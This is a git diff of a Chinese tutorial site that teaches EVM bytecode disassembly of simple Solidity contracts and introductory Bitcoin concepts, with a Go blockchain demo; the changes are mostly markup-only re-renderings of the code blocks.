    -# 当前stack数据:
    +# 当前stack数据:
     [
    -    "0x000000000000000000000000000000000000000000000000000000000000000a", 
    + "0x000000000000000000000000000000000000000000000000000000000000000a", <=== 这里就是参数x=10(0a是十六进制) + "0x000000000000000000000000000000000000000000000000000000000000003c", + "0x0000000000000000000000000000000000000000000000000000000047f4d98d" +] +
    • 函数参数都是存储在stack中的
    @@ -3194,7 +3194,7 @@

    3. For Loops

    076 DUP1 077 DUP3 078 DUP3 -079 SLOAD # 将0存储到状态变量中 +079 SLOAD # 将0存储到状态变量中 080 PUSH1 57 082 SWAP2 083 SWAP1 @@ -3297,35 +3297,35 @@

    3. For Loops

    The loop lies between 2 and 8 while i < x (in this example we called flow() with x = 10)

    4. function无参数(重要!!)

    Compile it WITHOUT the optimizer (but still with solidity version 0.8.7)

    -
    // SPDX-License-Identifier: UNLICENSED
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: UNLICENSED
    +pragma solidity ^0.8.0;
     
     contract Test {
    -       uint value = 0;
    -       function flow() external {
    +       uint value = 0;
    +       function flow() external {
                 flow2();
         }
     
    -        function flow2() public {
    -            value = 5;
    +        function flow2() public {
    +            value = 5;
             }
     }
     

    flow内调用flow2的汇编如下:

    -
    071 JUMPDEST 
    -072 PUSH1 4d        // byte 77
    -074 PUSH1 4f         // byte 79
    -076 JUMP  
    -077 JUMPDEST 
    -078 JUMP
    -079 JUMPDEST 
    -080 PUSH1 05 
    -082 PUSH1 00 
    -084 DUP2 
    -085 SWAP1 
    -086 SSTORE 
    -087 POP 
    -088 JUMP
    +
    071 JUMPDEST 
    +072 PUSH1 4d        // byte 77
    +074 PUSH1 4f         // byte 79
    +076 JUMP  
    +077 JUMPDEST 
    +078 JUMP
    +079 JUMPDEST 
    +080 PUSH1 05 
    +082 PUSH1 00 
    +084 DUP2 
    +085 SWAP1 
    +086 SSTORE 
    +087 POP 
    +088 JUMP
     

    分析上述代码,得出结论:函数执行前后,stack中的数据一致

      @@ -3338,17 +3338,17 @@

      4. function无参数(重要!

      这也侧面印证了函数的调用特点,执行完字函数(此处是flow2)之后,所有字函数内的变量都会清除掉。

      5. Function有参数

      Compile it WITHOUT the optimizer (but still with solidity version 0.8.7)

      -
      // SPDX-License-Identifier: UNLICENSED
      -pragma solidity ^0.8.0;
      +
      // SPDX-License-Identifier: UNLICENSED
      +pragma solidity ^0.8.0;
       
       contract Test {
      -    uint value = 0;
      +    uint value = 0;
       
      -       function flow() external {
      -            flow2(5);
      +       function flow() external {
      +            flow2(5);
           }
       
      -        function flow2(uint y) public {
      +        function flow2(uint y) public {
                   value = y;
               }
       }
      @@ -3359,34 +3359,34 @@ 

      5. Function有参数

      94和95的两个pop,会将stack上的数据清除掉,恢复到执行byte 97 (flow)之前的stack状态!

      image-20221122115519096

      6. Function有返回值

      -
      // SPDX-License-Identifier: UNLICENSED
      -pragma solidity ^0.8.0;
      +
      // SPDX-License-Identifier: UNLICENSED
      +pragma solidity ^0.8.0;
       
       contract Test {
      -    uint value = 0;
      -       function flow() external {
      +    uint value = 0;
      +       function flow() external {
               uint n = flow2();
               value = n;
              }
       
      -    function flow2() public returns(uint) {
      -        return 5;
      +    function flow2() public returns(uint) {
      +        return 5;
           }
       }
       

      7. Let’s bring it together

      -
      // SPDX-License-Identifier: UNLICENSED
      -pragma solidity ^0.8.0;
      +
      // SPDX-License-Identifier: UNLICENSED
      +pragma solidity ^0.8.0;
       
       contract Test {
      -    uint value = 0;
      -    function flow() external {
      -        uint n = flow2(5,7);
      +    uint value = 0;
      +    function flow() external {
      +        uint n = flow2(5,7);
               value = n;
           }
       
      -    function flow2(uint x,uint y) public returns(uint) {
      -        return x;
      +    function flow2(uint x,uint y) public returns(uint) {
      +        return x;
           }
       }
       
      @@ -3455,7 +3455,7 @@

      8. Conclusion

      @@ -3541,14 +3541,6 @@

      8. Conclusion

      - - - - - - - - diff --git "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/06_\346\231\272\350\203\275\345\220\210\347\272\246Layout\345\210\206\346\236\220.html" "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/06_\346\231\272\350\203\275\345\220\210\347\272\246Layout\345\210\206\346\236\220.html" index cefb6f09..c0b2d607 100644 --- "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/06_\346\231\272\350\203\275\345\220\210\347\272\246Layout\345\210\206\346\236\220.html" +++ "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/06_\346\231\272\350\203\275\345\220\210\347\272\246Layout\345\210\206\346\236\220.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,57 +3019,57 @@

      第6节:智能合约Layout分析solidity version: 0.8.7
    • optimizer: 200 runs
    -
    // SPDX-License-Identifier: UNLICENSED
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: UNLICENSED
    +pragma solidity ^0.8.0;
     
     contract Test {
         address owner;
     
         uint data;
     
    -    function setOwner(address _addr) external {
    +    function setOwner(address _addr) external {
             owner = _addr;
         }
     
    -    function returnAdd(uint x,uint y) internal view returns(uint) {
    -        return x+y;
    +    function returnAdd(uint x,uint y) internal view returns(uint) {
    +        return x+y;
         }
     
    -    function setBalance(uint x) external {
    -        uint var1 = 10;
    +    function setBalance(uint x) external {
    +        uint var1 = 10;
             data = returnAdd(x,var1);
         }
     }
     

    1. Disassembling the function main

    入口执行逻辑:由于没有main函数作为entry point,solidity从byte 0开始执行。

    -
    function main() {
    -    mstore(0x40,0x80)
    -    if (msg.value > 0) { revert(); }
    -    if (msg.data.size < 4) { revert(); }
    +
    function main() {
    +    mstore(0x40,0x80)
    +    if (msg.value > 0) { revert(); }
    +    if (msg.data.size < 4) { revert(); }
     }
     

    里面有三个函数(selector),需要分支进行判断,相当于对所有的函数进行遍历map:

    -
    function main() {
    -    mstore(0x40,0x80)
    -    if (msg.value > 0) { revert(); }
    -    if (msg.data.size < 4) { revert(); }
    -    byte4 selector = msg.data[0:4]
    -      switch (selector) {
    -        case 0x13af4035:
    -            // JUMP to 37
    -
    -        case 0xfb1669ca:
    -            // JUMP to 66
    -        default: revert(0);
    +
    function main() {
    +    mstore(0x40,0x80)
    +    if (msg.value > 0) { revert(); }
    +    if (msg.data.size < 4) { revert(); }
    +    byte4 selector = msg.data[0:4]
    +      switch (selector) {
    +        case 0x13af4035:
    +            // JUMP to 37
    +
    +        case 0xfb1669ca:
    +            // JUMP to 66
    +        default: revert(0);
     }
     

    2. The function layout

    每个函数的bytecode是连续的(side by side)

    -
    func_082() 0x82 => 0x91
    -func_092() 0x92 => 0xB9
    -func_0BA(a,b) 0xBA => 0xD1
    -func_0D2() 0xD2 => 0xF6
    +
    func_082() 0x82 => 0x91
    +func_092() 0x92 => 0xB9
    +func_0BA(a,b) 0xBA => 0xD1
    +func_0D2() 0xD2 => 0xF6
     

    到这里我们得到了每个函数的位置(layout),接下来了解一下函数内部的code。

    3. Understanding the code functions

    @@ -3107,7 +3103,7 @@

    5. Conclusion

    @@ -3193,14 +3189,6 @@

    5. Conclusion

    - - - - - - - - diff --git "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/07_\345\220\210\347\272\246\351\227\264\350\260\203\347\224\250.html" "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/07_\345\220\210\347\272\246\351\227\264\350\260\203\347\224\250.html" index 86bae5c6..8534b37e 100644 --- "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/07_\345\220\210\347\272\246\351\227\264\350\260\203\347\224\250.html" +++ "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/07_\345\220\210\347\272\246\351\227\264\350\260\203\347\224\250.html" @@ -36,10 +36,6 @@ - - - - @@ -3046,7 +3042,7 @@

    第7节:合约间调用

    @@ -3132,14 +3128,6 @@

    第7节:合约间调用

    - - - - - - - - diff --git "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/index.html" "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/index.html" index ebed7b98..77bfc4db 100644 --- "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/index.html" +++ "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3038,18 +3034,18 @@

    反汇编系列文章

    计算方法的sig

    https://web3playground.io/

    -
     async function main() {
    -   let transferEvent = "Transfer(address,address,uint256)"
    -   let sig1 = web3.eth.abi.encodeEventSignature(transferEvent)
    -   let sig2 = web3.eth.abi.encodeFunctionSignature(transferEvent)
    -
    -   //should be: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
    -   console.log('event sig1:', sig1)
    -   console.log('event sig2:', sig2)
    -
    -   let transferFun = "test()"
    -   let sig3 = web3.eth.abi.encodeFunctionSignature(transferFun)
    -   console.log('Function sig:', sig3)
    +
     async function main() {
    +   let transferEvent = "Transfer(address,address,uint256)"
    +   let sig1 = web3.eth.abi.encodeEventSignature(transferEvent)
    +   let sig2 = web3.eth.abi.encodeFunctionSignature(transferEvent)
    +
    +   //should be: 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
    +   console.log('event sig1:', sig1)
    +   console.log('event sig2:', sig2)
    +
    +   let transferFun = "test()"
    +   let sig3 = web3.eth.abi.encodeFunctionSignature(transferFun)
    +   console.log('Function sig:', sig3)
      }
     
    @@ -3079,7 +3075,7 @@

    计算方法的sig

    @@ -3165,14 +3161,6 @@

    计算方法的sig

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-01-\344\272\244\346\230\223\346\274\224\345\217\230.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-01-\344\272\244\346\230\223\346\274\224\345\217\230.html" index f8c1d956..f1a75d47 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-01-\344\272\244\346\230\223\346\274\224\345\217\230.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-01-\344\272\244\346\230\223\346\274\224\345\217\230.html" @@ -36,10 +36,6 @@ - - - - @@ -3080,7 +3076,7 @@

    - 数字货币

    @@ -3166,14 +3162,6 @@

    - 数字货币

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-02-\346\257\224\347\211\271\345\270\201\350\257\236\347\224\237\350\203\214\346\231\257.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-02-\346\257\224\347\211\271\345\270\201\350\257\236\347\224\237\350\203\214\346\231\257.html" index bc1f1771..78b5fda8 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-02-\346\257\224\347\211\271\345\270\201\350\257\236\347\224\237\350\203\214\346\231\257.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-02-\346\257\224\347\211\271\345\270\201\350\257\236\347\224\237\350\203\214\346\231\257.html" @@ -36,10 +36,6 @@ - - - - @@ -3097,7 +3093,7 @@

    六、疑问

    @@ -3183,14 +3179,6 @@

    六、疑问

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-03-\346\257\224\347\211\271\345\270\201\346\246\202\350\277\260.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-03-\346\257\224\347\211\271\345\270\201\346\246\202\350\277\260.html" index e6a8158e..08e79d60 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-03-\346\257\224\347\211\271\345\270\201\346\246\202\350\277\260.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-03-\346\257\224\347\211\271\345\270\201\346\246\202\350\277\260.html" @@ -36,10 +36,6 @@ - - - - @@ -3121,8 +3117,8 @@

    1. 钱包

    • 创建私钥公钥,保存私钥,相当于钱包,可以存放多个地址。
    -
    # 地址address:类似于钱包中不同的银行卡,2N7iL4hcMVQ2edktAwpkYQwQAha5EdsTAT8(由公钥生成)
    -# 私钥:类似于每张银行卡有一个密码,(私钥可以解开地址)
    +
    # 地址address:类似于钱包中不同的银行卡,2N7iL4hcMVQ2edktAwpkYQwQAha5EdsTAT8(由公钥生成)
    +# 私钥:类似于每张银行卡有一个密码,(私钥可以解开地址)
     
    • 私钥-> 公钥-> 地址

      @@ -3149,8 +3145,8 @@

      1. 钱包

    • 钱包客户端的钱包文件就是存储比特币私钥的数据库。私钥和公钥都 存放在比特币钱包的wallet.dat文件中。在多个地方安全地保管钱包文件可防止意外情况发生的时候恢复比特币。

    -
    # 钱包文件位置
    -#在文件管理器地址栏中输入: %appdata%,可以快速进入
    +
    # 钱包文件位置
    +#在文件管理器地址栏中输入: %appdata%,可以快速进入
     Windows 7/8/10 - C:\Users\{username}\AppData\Roaming\Bitcoin\wallet.dat
     
     
    @@ -3250,24 +3246,24 @@ 

    2. 出块奖励

    image-20221108123545367

    3. 比特币总量

    2100万,2140年挖完(snappy截图对照)

    -
    func main() {
    +
    func main() {
     
    -    total := 0.0        // 比特币总数
    -    rewardCount := 50.0 // 奖励 BTC 的数量
    -    blockInterval := 21 // 区块间隔,单位万
    +    total := 0.0        // 比特币总数
    +    rewardCount := 50.0 // 奖励 BTC 的数量
    +    blockInterval := 21 // 区块间隔,单位万
     
    -    for rewardCount > 0 {
    -        // 在区块间隔内,统一奖励(生成)rewardCount 个比特币
    -        // 类型转换
    -        sum := float64(blockInterval) * rewardCount
    +    for rewardCount > 0 {
    +        // 在区块间隔内,统一奖励(生成)rewardCount 个比特币
    +        // 类型转换
    +        sum := float64(blockInterval) * rewardCount
             total += sum
     
    -        // 每挖到 21w 个矿,奖励减半
    -        rewardCount *= 0.5
    +        // 每挖到 21w 个矿,奖励减半
    +        rewardCount *= 0.5
     
         }
     
    -    fmt.Printf("比特币总数:%f 万\n", total)
    +    fmt.Printf("比特币总数:%f 万\n", total)
     }
     

    4. 区块容量

    @@ -3305,7 +3301,7 @@

    6. 单位

    @@ -3391,14 +3387,6 @@

    6. 单位

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-04-\346\257\224\347\211\271\345\270\201\344\276\235\350\265\226\346\212\200\346\234\257.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-04-\346\257\224\347\211\271\345\270\201\344\276\235\350\265\226\346\212\200\346\234\257.html" index 8adf42bd..58af6bc3 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-04-\346\257\224\347\211\271\345\270\201\344\276\235\350\265\226\346\212\200\346\234\257.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-04-\346\257\224\347\211\271\345\270\201\344\276\235\350\265\226\346\212\200\346\234\257.html" @@ -36,10 +36,6 @@ - - - - @@ -3124,14 +3120,14 @@

    五、工作量证明(挖矿)

    浏览器截图:

    image-20221108124054129

    代码:

    -
    import ( "crypto/sha256" "fmt" )
    +
    import ( "crypto/sha256" "fmt" )
     
    -func main() {
    -  var data = "helloworld"
    +func main() {
    +  var data = "helloworld"
     
    -  //10s中左右
    -  for i := 0; i < 1000000; i++ {
    -      hash := sha256.Sum256([]byte(data + string(i))) fmt.Printf("hash : %x, %d\n", string(hash[:]), i)
    +  //10s中左右
    +  for i := 0; i < 1000000; i++ {
    +      hash := sha256.Sum256([]byte(data + string(i))) fmt.Printf("hash : %x, %d\n", string(hash[:]), i)
       }
     }
     
    @@ -3181,39 +3177,39 @@

    - 特点

  • base64只是编码,并不具有加密作用。
  • - 代码

    -
    package main
    +
    package main
     
    -import (
    -    "encoding/base64"
    -    "fmt"
    -    "log"
    +import (
    +    "encoding/base64"
    +    "fmt"
    +    "log"
     )
     
    -func main() {
    -    input := []byte("区块链学员中有一群神秘的大佬,他们家里有矿!")
    +func main() {
    +    input := []byte("区块链学员中有一群神秘的大佬,他们家里有矿!")
     
    -    // 演示base64编码
    +    // 演示base64编码
         encodeString := base64.StdEncoding.EncodeToString(input)
         fmt.Println(encodeString)
     
    -    // 对上面的编码结果进行base64解码
    +    // 对上面的编码结果进行base64解码
         decodeBytes, err := base64.StdEncoding.DecodeString(encodeString)
    -    if err != nil {
    +    if err != nil {
             log.Fatalln(err)
         }
    -    fmt.Println(string(decodeBytes))
    +    fmt.Println(string(decodeBytes))
     
         fmt.Println()
     
    -    // 如果要用在url中,需要使用URLEncoding
    -    uEnc := base64.URLEncoding.EncodeToString([]byte(input))
    +    // 如果要用在url中,需要使用URLEncoding
    +    uEnc := base64.URLEncoding.EncodeToString([]byte(input))
         fmt.Println(uEnc)
     
         uDec, err := base64.URLEncoding.DecodeString(uEnc)
    -    if err != nil {
    +    if err != nil {
             log.Fatalln(err)
         }
    -    fmt.Println(string(uDec))
    +    fmt.Println(string(uDec))
     }
     

    2. Base58(比特币生成地址)

    @@ -3258,7 +3254,7 @@

    八、总结

    @@ -3344,14 +3340,6 @@

    八、总结

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-05-\346\257\224\347\211\271\345\270\201\347\273\223\346\236\204.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-05-\346\257\224\347\211\271\345\270\201\347\273\223\346\236\204.html" index dd2b5a3f..d42bd1f9 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-05-\346\257\224\347\211\271\345\270\201\347\273\223\346\236\204.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-05-\346\257\224\347\211\271\345\270\201\347\273\223\346\236\204.html" @@ -36,10 +36,6 @@ - - - - @@ -3077,7 +3073,7 @@

    - bitcoin-cli查看

    @@ -3163,14 +3159,6 @@

    - bitcoin-cli查看

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-06-v1\351\223\276\346\235\241.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-06-v1\351\223\276\346\235\241.html" index 4bc8f515..e66cce35 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-06-v1\351\223\276\346\235\241.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day1-06-v1\351\223\276\346\235\241.html" @@ -36,10 +36,6 @@ - - - - @@ -3051,319 +3047,319 @@

    2. 升级版(区块字段完整

    image-20221108130541927

    二、授课代码

    00_代码仓库

    -
    https://github.com/dukedaily/go-bitcoin-demo
    +
    https://github.com/dukedaily/go-bitcoin-demo
     

    创建项目:01_bitcoin

    01_v1定义创世块并打印

    -
    package main
    +
    package main
     
    -import "fmt"
    +import "fmt"
     
    -const genesisInfo = "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks"
    +const genesisInfo = "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks"
     
    -type Block struct {
    -        //前区块哈希值
    -        PreHash []byte
    -        //当前区块哈希值
    -        Hash []byte
    -        //区块数据
    -        Data []byte
    +type Block struct {
    +        //前区块哈希值
    +        PreHash []byte
    +        //当前区块哈希值
    +        Hash []byte
    +        //区块数据
    +        Data []byte
     }
     
    -//创建区块
    -func NewBlock(data string, prevHash []byte) *Block {
    +//创建区块
    +func NewBlock(data string, prevHash []byte) *Block {
         block := Block{
             PreHash: prevHash,
    -        //Hash:
    -        Data: []byte(data),
    +        //Hash:
    +        Data: []byte(data),
         }
     
    -    return &block
    +    return &block
     }
     
    -func main() {
    -    //fmt.Printf("hello\n")
    +func main() {
    +    //fmt.Printf("hello\n")
     
    -    block := NewBlock(genesisInfo, []byte{0x0000000000000000})
    -    fmt.Printf("PreHash : %x\n", block.PreHash)
    -    fmt.Printf("Hash : %x\n", block.Hash)
    -    fmt.Printf("Data : %s\n", block.Data)
    +    block := NewBlock(genesisInfo, []byte{0x0000000000000000})
    +    fmt.Printf("PreHash : %x\n", block.PreHash)
    +    fmt.Printf("Hash : %x\n", block.Hash)
    +    fmt.Printf("Data : %s\n", block.Data)
     }
     

    02_v1实现SetHash函数

    -
    func (block *Block) SetHash() {
    -    var blockByteInfo []byte //存储拼接好的数据,最后作为sha256函数的参数
    -    //1. 拼接当前区块的数据
    -    blockByteInfo = append(blockByteInfo, block.PreHash...)
    -    blockByteInfo = append(blockByteInfo, block.Data...)
    +
    func (block *Block) SetHash() {
    +    var blockByteInfo []byte //存储拼接好的数据,最后作为sha256函数的参数
    +    //1. 拼接当前区块的数据
    +    blockByteInfo = append(blockByteInfo, block.PreHash...)
    +    blockByteInfo = append(blockByteInfo, block.Data...)
     
    -    //2. 对数据进行哈希处理:sha256
    -    //func Sum(data []byte) [Size]byte {
    -    hash := sha256.Sum256(blockByteInfo) //传入参数时切片, 返回值是一个32位的数组
    +    //2. 对数据进行哈希处理:sha256
    +    //func Sum(data []byte) [Size]byte {
    +    hash := sha256.Sum256(blockByteInfo) //传入参数时切片, 返回值是一个32位的数组
     
    -    //3. 把哈希添加到我们区块Hash字段
    +    //3. 把哈希添加到我们区块Hash字段
         block.Hash = hash[:]
     }
     

    在NewBlock中引用

    -
    //创建区块
    -func NewBlock(data string, prevHash []byte) *Block {
    +
    //创建区块
    +func NewBlock(data string, prevHash []byte) *Block {
         block := Block{
             PreHash: prevHash,
    -        //Hash:
    -        Data: []byte(data),
    +        //Hash:
    +        Data: []byte(data),
         }
     
         block.SetHash()
    -    return &block
    +    return &block
     }
     

    03_引入区块链结构(区块的数组)

    定义结构

    -
    //目标:实现区块链
    -//将产生的区块串接起来
    +
    //目标:实现区块链
    +//将产生的区块串接起来
     
    -type BlockChain struct {
    -    // 定一个区块链的结构:定一个[]*Block
    +type BlockChain struct {
    +    // 定一个区块链的结构:定一个[]*Block
         Blocks []*Block
     }
     

    创建区块链

    -
    func NewBlockChain() *BlockChain {
    -    // 对这个区块链进行初始化,就是把创世块作为第一个元素添加进去
    -    genesisBlock := NewBlock(genesisInfo, []byte{byte(0x0000000000000000)})
    +
    func NewBlockChain() *BlockChain {
    +    // 对这个区块链进行初始化,就是把创世块作为第一个元素添加进去
    +    genesisBlock := NewBlock(genesisInfo, []byte{byte(0x0000000000000000)})
         bc := BlockChain{[]*Block{genesisBlock}}
    -    return &bc
    +    return &bc
     }
     

    改写main.go

    -
    func main() {
    -    //fmt.Printf("hello world!")
    +
    func main() {
    +    //fmt.Printf("hello world!")
     
    -    //block := GenesisBlock(genesisInfo, []byte{})
    +    //block := GenesisBlock(genesisInfo, []byte{})
         bc := NewBlockChain()
     
    -    for i, block := range bc.Blocks {
    -        fmt.Println("======== block height : ", i, "=======")
    -        fmt.Printf("PreHash : %x\n", block.PreHash)
    -        fmt.Printf("Hash : %x\n", block.Hash)
    -        fmt.Printf("Data : %s\n", block.Data)
    +    for i, block := range bc.Blocks {
    +        fmt.Println("======== block height : ", i, "=======")
    +        fmt.Printf("PreHash : %x\n", block.PreHash)
    +        fmt.Printf("Hash : %x\n", block.Hash)
    +        fmt.Printf("Data : %s\n", block.Data)
         }
     }
     

    04_v1实现AddBlock

    -
    func (bc *BlockChain) AddBlock(data string) {
    -    //1. 产生区块
    -    // >1. 数据 和前区块的哈希值
    -    // >2. 通过数组的下标,拿到最后一个区块的哈希值,这个哈希值就是我们新区块的前哈希值
    -    blockLen := len(bc.Blocks)
    -    lastBlock := bc.Blocks[blockLen-1]
    -    //最后一个区块的哈希值是新区块的前哈希
    +
    func (bc *BlockChain) AddBlock(data string) {
    +    //1. 产生区块
    +    // >1. 数据 和前区块的哈希值
    +    // >2. 通过数组的下标,拿到最后一个区块的哈希值,这个哈希值就是我们新区块的前哈希值
    +    blockLen := len(bc.Blocks)
    +    lastBlock := bc.Blocks[blockLen-1]
    +    //最后一个区块的哈希值是新区块的前哈希
         prevBlockHash := lastBlock.Hash
     
         block := NewBlock(data, prevBlockHash)
     
    -    //2. 向bc中添加新区块
    -    bc.Blocks = append(bc.Blocks, block)
    +    //2. 向bc中添加新区块
    +    bc.Blocks = append(bc.Blocks, block)
     }
     

    改写main.go

    -
    func main() {
    -    //fmt.Printf("hello world!")
    +
    func main() {
    +    //fmt.Printf("hello world!")
     
         bc := NewBlockChain()
    -    bc.AddBlock("班长向老师转了1枚比特币!")
    -    bc.AddBlock("班长又向老师转了1枚比特币!")
    -
    -    for i, block := range bc.Blocks {
    -        fmt.Println("======== block height : ", i, "=======")
    -        fmt.Printf("PreHash : %x\n", block.PreHash)
    -        fmt.Printf("Hash : %x\n", block.Hash)
    -        fmt.Printf("Data : %s\n", block.Data)
    +    bc.AddBlock("班长向老师转了1枚比特币!")
    +    bc.AddBlock("班长又向老师转了1枚比特币!")
    +
    +    for i, block := range bc.Blocks {
    +        fmt.Println("======== block height : ", i, "=======")
    +        fmt.Printf("PreHash : %x\n", block.PreHash)
    +        fmt.Printf("Hash : %x\n", block.Hash)
    +        fmt.Printf("Data : %s\n", block.Data)
         }
     }
     

    05_重构代码(创建block.go blockchain.go)

    创建block.go,blockchain.go,将相关代码移到各自文件中

    block.go

    -
    package main
    +
    package main
     
    -import "crypto/sha256"
    +import "crypto/sha256"
     
    -const genesisInfo = "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks"
    +const genesisInfo = "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks"
     
    -type Block struct {
    -    //前区块哈希值
    -    PreHash []byte
    -    //当前区块哈希值
    -    Hash []byte
    -    //区块数据
    -    Data []byte
    +type Block struct {
    +    //前区块哈希值
    +    PreHash []byte
    +    //当前区块哈希值
    +    Hash []byte
    +    //区块数据
    +    Data []byte
     }
     
    -//产生创世块
    -func GenesisBlock(data string, prevBlockHash []byte) *Block {
    -    return NewBlock(data, prevBlockHash)
    +//产生创世块
    +func GenesisBlock(data string, prevBlockHash []byte) *Block {
    +    return NewBlock(data, prevBlockHash)
     }
     
    -func NewBlock(data string, prevBlockHash []byte) *Block {
    +func NewBlock(data string, prevBlockHash []byte) *Block {
         block := Block{
             PreHash: prevBlockHash,
    -        Hash:    []byte{}, //先填为空,后面再进行计算
    -        Data:    []byte(data)}
    +        Hash:    []byte{}, //先填为空,后面再进行计算
    +        Data:    []byte(data)}
     
    -    //提供一个设置哈希的方法
    +    //提供一个设置哈希的方法
         block.SetHash()
    -    return &block
    +    return &block
     }
     
    -func (block *Block) SetHash() {
    -    var blockByteInfo []byte //存储拼接好的数据,最后作为sha256函数的参数
    -    //1. 拼接当前区块的数据
    -    blockByteInfo = append(blockByteInfo, block.PreHash...)
    -    blockByteInfo = append(blockByteInfo, block.Data...)
    +func (block *Block) SetHash() {
    +    var blockByteInfo []byte //存储拼接好的数据,最后作为sha256函数的参数
    +    //1. 拼接当前区块的数据
    +    blockByteInfo = append(blockByteInfo, block.PreHash...)
    +    blockByteInfo = append(blockByteInfo, block.Data...)
     
    -    //2. 对数据进行哈希处理:sha256
    -    //func Sum(data []byte) [Size]byte {
    -    hash := sha256.Sum256(blockByteInfo) //传入参数时切片, 返回值是一个32位的数组
    +    //2. 对数据进行哈希处理:sha256
    +    //func Sum(data []byte) [Size]byte {
    +    hash := sha256.Sum256(blockByteInfo) //传入参数时切片, 返回值是一个32位的数组
     
    -    //3. 把哈希添加到我们区块Hash字段
    +    //3. 把哈希添加到我们区块Hash字段
         block.Hash = hash[:]
     }
     

    blockchain.go

    -
    package main
    +
    package main
     
     
    -//目标:实现区块链
    -//将产生的区块串接起来
    +//目标:实现区块链
    +//将产生的区块串接起来
     
    -type BlockChain struct {
    -    // 定一个区块链的结构:定一个[]*Block
    +type BlockChain struct {
    +    // 定一个区块链的结构:定一个[]*Block
         Blocks []*Block
     }
     
    -func NewBlockChain() *BlockChain {
    -    // 对这个区块链进行初始化,就是把创世块作为第一个元素添加进去
    -    genesisBlock := GenesisBlock(genesisInfo, []byte{})
    +func NewBlockChain() *BlockChain {
    +    // 对这个区块链进行初始化,就是把创世块作为第一个元素添加进去
    +    genesisBlock := GenesisBlock(genesisInfo, []byte{})
         bc := BlockChain{[]*Block{genesisBlock}}
    -    return &bc
    +    return &bc
     }
     
    -func (bc *BlockChain) AddBlock(data string) {
    -    //1. 产生区块
    -    // >1. 数据 和前区块的哈希值
    -    // >2. 通过数组的下标,拿到最后一个区块的哈希值,这个哈希值就是我们新区块的前哈希值
    -    blockLen := len(bc.Blocks)
    -    lastBlock := bc.Blocks[blockLen-1]
    -    //最后一个区块的哈希值是新区块的前哈希
    +func (bc *BlockChain) AddBlock(data string) {
    +    //1. 产生区块
    +    // >1. 数据 和前区块的哈希值
    +    // >2. 通过数组的下标,拿到最后一个区块的哈希值,这个哈希值就是我们新区块的前哈希值
    +    blockLen := len(bc.Blocks)
    +    lastBlock := bc.Blocks[blockLen-1]
    +    //最后一个区块的哈希值是新区块的前哈希
         prevBlockHash := lastBlock.Hash
     
         block := NewBlock(data, prevBlockHash)
     
    -    //2. 向bc中添加新区块
    -    bc.Blocks = append(bc.Blocks, block)
    +    //2. 向bc中添加新区块
    +    bc.Blocks = append(bc.Blocks, block)
     }
     

    main文件仅保留main.go即可

    main.go

    -
    package main
    +
    package main
     
    -import (
    -    "fmt"
    +import (
    +    "fmt"
     )
     
    -func main() {
    -    //fmt.Printf("hello world!")
    +func main() {
    +    //fmt.Printf("hello world!")
     
    -    //block := GenesisBlock(genesisInfo, []byte{})
    +    //block := GenesisBlock(genesisInfo, []byte{})
         bc := NewBlockChain()
    -    bc.AddBlock("班长向老师转了1枚比特币!")
    -    bc.AddBlock("班长又向老师转了1枚比特币!")
    -
    -    for i, block := range bc.Blocks {
    -        fmt.Println("======== block height : ", i, "=======")
